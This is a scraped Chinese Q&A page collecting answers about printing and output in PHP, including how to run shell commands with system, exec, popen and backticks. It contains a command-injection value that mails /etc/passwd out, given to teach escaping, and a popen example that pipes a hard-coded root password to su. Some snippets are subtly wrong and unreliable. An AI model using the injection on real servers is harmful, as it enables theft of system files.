導航:首頁 > 編程語言 > php列印代碼

php列印代碼

發布時間:2023-06-11 11:55:54

Ⅰ 用php列印1到100中所有偶數,每行列印10個數

代碼如下:

<?php
$num = 0;
for($i=2;$i<=100;$i+=2){
$num++;
if($num<=10){//列印,每個數字之間留個一個漢字的空位
echo $i."&emsp;";
}else{//換行
$num =0;
echo "<br />";
}

}


效果如下:

Ⅱ 求PHP頁面固定區域的列印代碼

提交後,出現列印鏈接,鏈接是打開一個新窗口,新窗口可以設為無地址欄。

這樣點了提交按鈕後,你要做一個PHP程序,把上面你所需要列印的內容重新顯示。然後上面顯示「列印」按鈕,在新頁面中用列印功能,這樣比較理想吧,沒有網址什麼的。也很乾凈,很簡單。

你可能希望用一段javascript代碼,實現網頁局部列印吧?給你看看下面例子:
<script language="javascript">
function preview()
{
bdhtml=window.document.body.innerHTML;
sprnstr="<!--startprint-->";
eprnstr="<!--endprint-->";
prnhtml=bdhtml.substr(bdhtml.indexOf(sprnstr)+17);
prnhtml=prnhtml.substring(0,prnhtml.indexOf(eprnstr));
window.document.body.innerHTML=prnhtml;
window.print();
}
</script>

<div>文件頭部,不列印出來的內容。。。</div>
<div>文件頭部,不列印出來的內容。。。</div>
<div>文件頭部,不列印出來的內容。。。</div>
<!--startprint-->
<div>這是被列印出來的內容</div>
<div>這是被列印出來的內容</div>
<div>這是被列印出來的內容</div>
<div>這是被列印出來的內容</div>
<!--endprint-->
<div>文件尾部,不列印出來的內容。。。</div>
<div>文件尾部,不列印出來的內容。。。</div>
<div>文件尾部,不列印出來的內容。。。</div>

<input type="button" name="print" value="預覽並列印" onclick="preview()">

Ⅲ 怎樣在php頁面里輸出php源代碼

PHP本身提供了幾個函數可以對源代碼進行格式化並輸出為HTML代碼,你可以把要輸出的代碼段或者代碼文件用這些函數處理一下,直接輸出為HTML即可。

例如:

  1. //列印當前PHP頁面的代碼
  2. show_source(__FILE__);

  3. //該段不解析作為一個字元串原樣輸出,高亮
  4. highlight_string('<?phpphpinfo();?>');
  5. //列印當前PHP頁面的代碼
  6. highlight_file(__FILE__);

  7. //__FILE__可以替換成任意的PHP代碼文件,這些函數都會把代碼高亮格式化之後顯示在網頁上。

Ⅳ 怎麼列印php版本信息

Php的版本控制一直也是一個比較棘手的問題,因為版本不同導致有許多功能不能很好的實現,所以當程序上傳到空間的時候一定要對版本進行有效的控制,這樣可以避免不必要的麻煩產生。那麼如何查看當前你的php版本呢?下面提供兩種方法幫你查看你的php版本。

使用phpinfo()函數,該函數就是用來顯示php伺服器的配置信息,在你的環境下創建一個php文件,在裡面數據下面代碼,然後執行就會列印出下面結果,可以清楚的看到,你當前php的版本,已經php、apache、mysql等配置信息。
<?php
Phpinfo();
?>
使用phpsersion()函數,這個函數的原型是string phpversion(void);返回的一個string,本函數是返回php版本信息,創建一個php文件,輸入以下代碼,就可以在瀏覽器中看到返回的php的版本信息了。
<?php
echo phpversion();
?>

Ⅳ php 怎麼實現列印 功能啊 直接列印html中的table 而且為word格式 table里的內容是通過資料庫獲取出來的

你的列印是不是編程語言裡面說的列印,例如basic語言的print語句,如果是的話,在PHP裡面使用echo語句列印內容,例如:
echo '<table border=1><tr><td>1<td>2</table>';

如果你是希望程序運行後在列印機上列印輸出內容,那可能比較復雜,而且不是PHP的強項,需要編寫許多查找列印機的代碼,簡單的做法是把數據送我特殊設備,可以使用file_put_contents函數,例如:
file_put_contents('PRN:', 'print test');

Ⅵ 在php命令行業中怎樣列印內容

在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數

PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])

system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/webalizer/webalizer");
?>

exec()

原型:string exec (string command [, string array [, int return_var]])
exec
()函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array
可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二
個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
exec("/bin/ls -l");

exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>

passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標准輸出設備上。所以passthru()函數經常用來調用象pbmplus
(Unix下的一個處理圖片的工具,輸出二進制的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:

復制代碼
代碼如下:

<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2)
用popen()函數打開進程

上面的方法只能簡單地執行命令,卻不能與命令交互。但有些時候必須向命令輸入一些東西,如在增加Linux的系統用戶時,要調用su來把當前用戶換到root才行,而su命令必須要在命令行上輸入root的密碼。這種情況下,用上面提到的方法顯然是不行的。

popen
()函數打開一個進程管道來執行給定的命令,返回一個文件句柄。既然返回的是一個文件句柄,那麼就可以對它讀和寫了。在PHP3中,對這種句柄只能做單一
的操作模式,要麼寫,要麼讀;從PHP4開始,可以同時讀和寫了。除非這個句柄是以一種模式(讀或寫)打開的,否則必須調用pclose()函數來關閉 它。

例子1:

復制代碼
代碼如下:

<?php
$fp=popen("/bin/ls -l", "r");

?>

例子2:

復制代碼
代碼如下:

<?php
/* PHP中如何增加一個系統用戶

下面是一段常式,增加一個名字為james的用戶,
root密碼是 verygood。僅供參考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3)
用反撇號(`,也就是鍵盤上ESC鍵下面的那個,和~在同一個上面)

這個方法以前沒有歸入PHP的文檔,是作為一個秘技存在的。方法很簡單,用兩個反撇號把要執行的命令括起來作為一個表達式,這個表達式的值就是命令執行的結果。如:

復制代碼
代碼如下:

<?php
$res='/bin/ls -l';
echo '

'.$res.'
';
?>

這個腳本的輸出就象:
hunte.gif

hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考慮些什麼看

要考慮兩個問題:安全性和超時。

看安全性。比如,你有一家小型的網上商店,所以可以出售的產品列表放在一個文件中。你編寫了一個有表單的HTML文件,讓你的用戶輸入他們的EMAIL地
址,然後把這個產品列表發給他們。假設你沒有使用PHP的mail()函數(或者從未聽說過),你就調用Linux/Unix系統的mail程序來發送這
個文件。程序就象這樣:

復制代碼
代碼如下:

<?php
system("mail $to <
procts.txt");
echo "我們的產品目錄已經發送到你的信箱:$to";
?>

用這段代碼,一般的用戶不會產生什麼危險,但實際上存在著非常大的安全漏洞。如果有個惡意的用戶輸入了這樣一個EMAIL地址:

'--bla ; mail [email protected] < /etc/passwd ;'
那麼這條命令最終變成:

'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'

我相信,無論哪個網路管理人員見到這樣的命令,都會嚇出一身冷汗來。

好,PHP為我們提供了兩個函數:EscapeShellCmd()和EscapeShellArg()。函數EscapeShellCmd把一個字元串
中所有可能瞞過Shell而去執行另外一個命令的字元轉義。這些字元在Shell中是有特殊含義的,象分號(),重定向(>)和從文件讀入
(<)等。函數EscapeShellArg是用來處理命令的參數的。它在給定的字元串兩邊加上單引號,並把字元串中的單引號轉義,這樣這個字元串
就可以安全地作為命令的參數。
再來看看超時問題。如果要執行的命令要花費很長的時間,那麼應該把這個命令放到系統的後台去運
行。但在默認情況下,象system()等函數要等到這個命令運行完才返回(實際上是要等命令的輸出結果),這肯定會引起PHP腳本的超時。解決的辦法是
把命令的輸出重定向到另外一個文件或流中,如:

復制代碼
代碼如下:

<?php

system("/usr/local/bin/order_proc > /tmp/null &");
?>

閱讀全文

與php列印代碼相關的資料

熱點內容
python集成包 瀏覽:303
如何用電腦解壓縮文件 瀏覽:446
pubg用什麼伺服器 瀏覽:526
田漢pdf 瀏覽:661
記錄儀如何安裝安卓系統 瀏覽:594
python求灰度均值 瀏覽:756
c編譯器是系統軟體嗎 瀏覽:694
獲取伺服器內網地址 瀏覽:536
新手媽媽如何帶新生兒APP 瀏覽:157
java日程管理 瀏覽:376
高清視頻鏈接加密 瀏覽:407
新買的阿里雲伺服器怎麼配置 瀏覽:612
在線編譯器為什麼刷新還在 瀏覽:213
雲伺服器系統盤可以裝資料庫 瀏覽:908
php繪制圖形 瀏覽:589
支付伺服器異常怎麼辦 瀏覽:77
java撥號 瀏覽:868
er5200如何設置虛擬伺服器 瀏覽:573
網路中心伺服器叫什麼 瀏覽:460
isplay單片機下載器 瀏覽:482